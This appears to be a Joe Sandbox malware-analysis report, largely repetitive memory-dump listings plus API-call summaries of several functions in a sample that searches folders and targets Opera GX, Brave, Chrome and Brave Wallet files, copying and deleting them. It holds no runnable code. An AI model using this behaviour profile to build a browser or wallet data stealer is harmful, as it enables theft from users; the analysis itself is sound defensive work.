Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 46d068fa4588579770cf0f2b7216b9ecb7885d10b97474dc17bd87029cf158d5
Instruction ID: f82677ff5156e21ebcf22c1499259986ba886b6a4feadbe72b176c4770674801
Opcode Fuzzy Hash: 46d068fa4588579770cf0f2b7216b9ecb7885d10b97474dc17bd87029cf158d5
Instruction Fuzzy Hash: 00F03031A1015CABDB51DA58DC51BADB7FCDB84711F1082A6BA08E72C0DA706F168B94

Function 003013C0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHFileOperation.SHELL32(?), ref: 003013F6

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: af4d0dae126e7fd695d0fcd27973a356884fbaf16c64f1755c889e4dfd02d9af
Instruction ID: c7aff520c1ba6c35f76cfcc1e422132e7375ce260291fd99cddc4f98f912288e
Opcode Fuzzy Hash: af4d0dae126e7fd695d0fcd27973a356884fbaf16c64f1755c889e4dfd02d9af
Instruction Fuzzy Hash: 7CE0AEB4D0420CAFCB49DFA8D8006EEBBF9EF4C300F00816AE808E7340E77986408B95

Non-executed Functions

Function 00304F80 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 325stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00304FA0
FindFirstFileA.KERNEL32(?,?), ref: 00304FB7
memset.MSVCRT ref: 00304FD0
memset.MSVCRT ref: 00304FE3
StrCmpCA.SHLWAPI(?,003101DC), ref: 0030500F
StrCmpCA.SHLWAPI(?,003101D8), ref: 00305029
wsprintfA.USER32 ref: 0030504E
StrCmpCA.SHLWAPI(?,003101E9), ref: 00305060
wsprintfA.USER32 ref: 00305088

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

wsprintfA.USER32 ref: 003050AA
memset.MSVCRT ref: 003050C1
lstrcat.KERNEL32(?,?), ref: 003050D1
strtok_s.MSVCRT ref: 003050E7
strtok_s.MSVCRT ref: 00305116
memset.MSVCRT ref: 00305130
lstrcat.KERNEL32(?,?), ref: 00305140
strtok_s.MSVCRT ref: 00305156
PathMatchSpecA.SHLWAPI(?,00000000), ref: 0030516E
DeleteFileA.KERNEL32(00000000,00000000,?,02F45090,?,?,?,003101E0,?,00000000,?,003101E9), ref: 0030520F
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00305227

Part of subcall function 00300F90: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00300FAD
Part of subcall function 00300F90: GetFileSizeEx.KERNEL32(00000000,?), ref: 00300FBF
Part of subcall function 00300F90: CloseHandle.KERNEL32(00000000), ref: 00300FCA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00305247
DeleteFileA.KERNEL32(00000000,00000000,?,000003E8,00000000,?,?,003101E9), ref: 00305259
strtok_s.MSVCRT ref: 00305272
FindNextFileA.KERNEL32(?,?), ref: 00305374
FindClose.KERNEL32(?), ref: 00305386

Strings

%s\%s, xrefs: 00305048, 003050A4
%s\%s\%s, xrefs: 00305082
%s\*.*, xrefs: 00304F9A

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$memsetstrtok_swsprintf$Find$CloseDeletelstrcat$CopyCreateFirstHandleMatchNextPathSizeSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrcpy
String ID: %s\%s$%s\%s\%s$%s\*.*
API String ID: 3252185717-1853381274
Opcode ID: 2b609da62d71b6d2a03acfc5dd4afb3d0684fbf59303abb9f2ec91d6a5f477d9
Instruction ID: 4c44f43a028892934a12df43de063980d12edae946495829d3a6c9ea39920807
Opcode Fuzzy Hash: 2b609da62d71b6d2a03acfc5dd4afb3d0684fbf59303abb9f2ec91d6a5f477d9
Instruction Fuzzy Hash: 94C1867291020CABDB65EBA0DC55FFE737CAF54740F044568FA09A6181EB71AA58CFA0

Function 002FC2E0 Relevance: 44.5, APIs: 20, Strings: 5, Instructions: 767fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

FindFirstFileA.KERNEL32(00000000,?,003101E9,003101E9,00000000,?,?,?,003134C0,003101E9), ref: 002FC35C
StrCmpCA.SHLWAPI(?,003101DC), ref: 002FC38C
StrCmpCA.SHLWAPI(?,003101D8), ref: 002FC3A6

Part of subcall function 002FF8A0: lstrlen.KERNEL32(002F5B05,00000000,?,?,002F5B05,003101E9), ref: 002FF8AB
Part of subcall function 002FF8A0: lstrcpy.KERNEL32(00000000,002F5B05), ref: 002FF8E2

StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,003101E0,?,?,003101E9), ref: 002FC43F
StrCmpCA.SHLWAPI(00000000,Brave,00000000,?,003101E0,?,02F432B8,?,003101E0,?,02F432D8,00000000,?,?,?,003101E0), ref: 002FC5D6
StrCmpCA.SHLWAPI(?,Preferences), ref: 002FC5F0
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FC6B4
DeleteFileA.KERNEL32(00000000), ref: 002FC77B
StrCmpCA.SHLWAPI(?,02F45360), ref: 002FC7AF

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002FBF30: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FBFD7
Part of subcall function 002FBF30: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FC00B

Part of subcall function 002FC2E0: StrCmpCA.SHLWAPI(?,02F432D8), ref: 002FC813
Part of subcall function 002FC2E0: StrCmpCA.SHLWAPI(00000000,02F432B8), ref: 002FC82D

FindNextFileA.KERNEL32(?,?), ref: 002FCD02
FindClose.KERNEL32(?), ref: 002FCD14

Strings

\BraveWallet\Preferences, xrefs: 002FC6CD
Preferences, xrefs: 002FC5E4
Opera GX, xrefs: 002FC42E
Google Chrome, xrefs: 002FCA6F
Brave, xrefs: 002FC5C5

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CopyFind$lstrcatlstrlen$CloseDeleteFirstNext
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 480569104-1189830961
Opcode ID: 349272cd5a08e38f8d9ad5884ef503104bf02a283aafad1d2d526b575fb6e3bc
Instruction ID: 4a3287257fd81e30cf1602d72893b9f12e80905c0263f0e9216f2316b87ce407
Opcode Fuzzy Hash: 349272cd5a08e38f8d9ad5884ef503104bf02a283aafad1d2d526b575fb6e3bc
Instruction Fuzzy Hash: 0952427192010C6BDB59FB70DD56EFEB338AF54780F404578FA0662291EF709A68CEA1

Function 00305EA0 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 227stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00305EBC
FindFirstFileA.KERNEL32(?,?), ref: 00305ED3
StrCmpCA.SHLWAPI(?,003101DC), ref: 00305EFC
StrCmpCA.SHLWAPI(?,003101D8), ref: 00305F16
wsprintfA.USER32 ref: 00305F3B
StrCmpCA.SHLWAPI(?,003101E9), ref: 00305F4A
wsprintfA.USER32 ref: 00305F67
wsprintfA.USER32 ref: 00305F86
PathMatchSpecA.SHLWAPI(?,?), ref: 00305F97
lstrcat.KERNEL32(?,02F431A8), ref: 00305FC3
lstrcat.KERNEL32(?,003101E0), ref: 00305FD5
lstrcat.KERNEL32(?,?), ref: 00305FE3
lstrcat.KERNEL32(?,003101E0), ref: 00305FF5
lstrcat.KERNEL32(?,?), ref: 00306009
CopyFileA.KERNEL32(?,00000000,00000001), ref: 003060AA
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,003101E9), ref: 00306119

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

FindNextFileA.KERNEL32(?,?), ref: 00306160
FindClose.KERNEL32(?), ref: 00306172

Strings

%s\%s, xrefs: 00305F35, 00305F80
%s\*, xrefs: 00305EB6

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyCreateDeleteFirstMatchNextObjectPathSingleSleepSpecThreadWaitlstrcpy
String ID: %s\%s$%s\*
API String ID: 103870964-2848263008
Opcode ID: 2fb488212830d558ad53f961ae6e7c5dd7092b9c110b20f1b264c9509e12510a
Instruction ID: 838bff6991f3689bfab3447710a4916ec6861d72f5f0762a397865717a890737
Opcode Fuzzy Hash: 2fb488212830d558ad53f961ae6e7c5dd7092b9c110b20f1b264c9509e12510a
Instruction Fuzzy Hash: 4881C47191020CABDB29EBB0DD99DFEB37CAF54740F044568F506A2191EF30AA59CFA0

Function 00305A70 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 191filestringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00305A82
RtlAllocateHeap.NTDLL(00000000), ref: 00305A89
wsprintfA.USER32 ref: 00305AA2
FindFirstFileA.KERNEL32(?,?), ref: 00305AB9
StrCmpCA.SHLWAPI(?,003101DC), ref: 00305ADC
StrCmpCA.SHLWAPI(?,003101D8), ref: 00305AF6
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00305BBC

Part of subcall function 00302C70: memset.MSVCRT ref: 00302C89
Part of subcall function 00302C70: memset.MSVCRT ref: 00302C9C
Part of subcall function 00302C70: lstrcat.KERNEL32(?,00000000), ref: 00302CCC
Part of subcall function 00302C70: lstrcat.KERNEL32(?,02F45420), ref: 00302CE8
Part of subcall function 00302C70: lstrcat.KERNEL32(?,?), ref: 00302CFC
Part of subcall function 00302C70: lstrcat.KERNEL32(?,02F450D8), ref: 00302D10
Part of subcall function 00302C70: StrStrA.SHLWAPI(00000000,02F45438), ref: 00302DA5

DeleteFileA.KERNEL32(00000000), ref: 00305BEE
wsprintfA.USER32 ref: 00305B18

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

FindNextFileA.KERNEL32(00000000,?), ref: 00305C0C
FindClose.KERNEL32(00000000), ref: 00305C1B
lstrcat.KERNEL32(?,02F431A8), ref: 00305C40
lstrcat.KERNEL32(?,02F45840), ref: 00305C53
lstrlen.KERNEL32(?), ref: 00305C5D
lstrlen.KERNEL32(?), ref: 00305C6B

Strings

%s\%s, xrefs: 00305B12
%s\*, xrefs: 00305A9C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$Findlstrlen$Heapmemsetwsprintf$AllocateCloseCopyDeleteFirstNextProcessSystemTime
String ID: %s\%s$%s\*
API String ID: 507455209-2848263008
Opcode ID: e947b068eb05328702cdf0d37c0aad278927e80cafba8dcddd6a54912cf7cc0a
Instruction ID: f82f351f11df74c046be11cf47ff46f395692178f44a14e3af067f5b7fda53f2
Opcode Fuzzy Hash: e947b068eb05328702cdf0d37c0aad278927e80cafba8dcddd6a54912cf7cc0a
Instruction Fuzzy Hash: B7618171920208ABDB15FBB0DD99EFE733CAF54740F444578F606A2191EB70AA59CF60

Function 002F1110 Relevance: 23.4, APIs: 12, Strings: 1, Instructions: 658fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003101E0,?,?,?,003101E0,?,?,00000000,?,00000000), ref: 002F12D9
StrCmpCA.SHLWAPI(?,003101DC), ref: 002F12FC
StrCmpCA.SHLWAPI(?,003101D8), ref: 002F1316
FindFirstFileA.KERNEL32(00000000,?,?,?,?,003101E0,?,?,?,003101E0,?,?,?,003101E0,?,?), ref: 002F140D

Part of subcall function 00300D50: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00300D81

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

DeleteFileA.KERNEL32(00000000), ref: 002F1668
FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,?), ref: 002F16A4
FindClose.KERNEL32(00000000,?,?,?,?,?,?), ref: 002F16B3
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F15F6

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002F18F5

Part of subcall function 002F6C20: LocalFree.KERNEL32(?,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CA9

DeleteFileA.KERNEL32(00000000), ref: 002F1967
FindNextFileA.KERNEL32(00000000,?), ref: 002F19A8
FindClose.KERNEL32(00000000), ref: 002F19B7

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 00300D10: GetFileAttributesA.KERNEL32(00000000,?,?,002F1774,?,?,?,003101E9), ref: 00300D1D

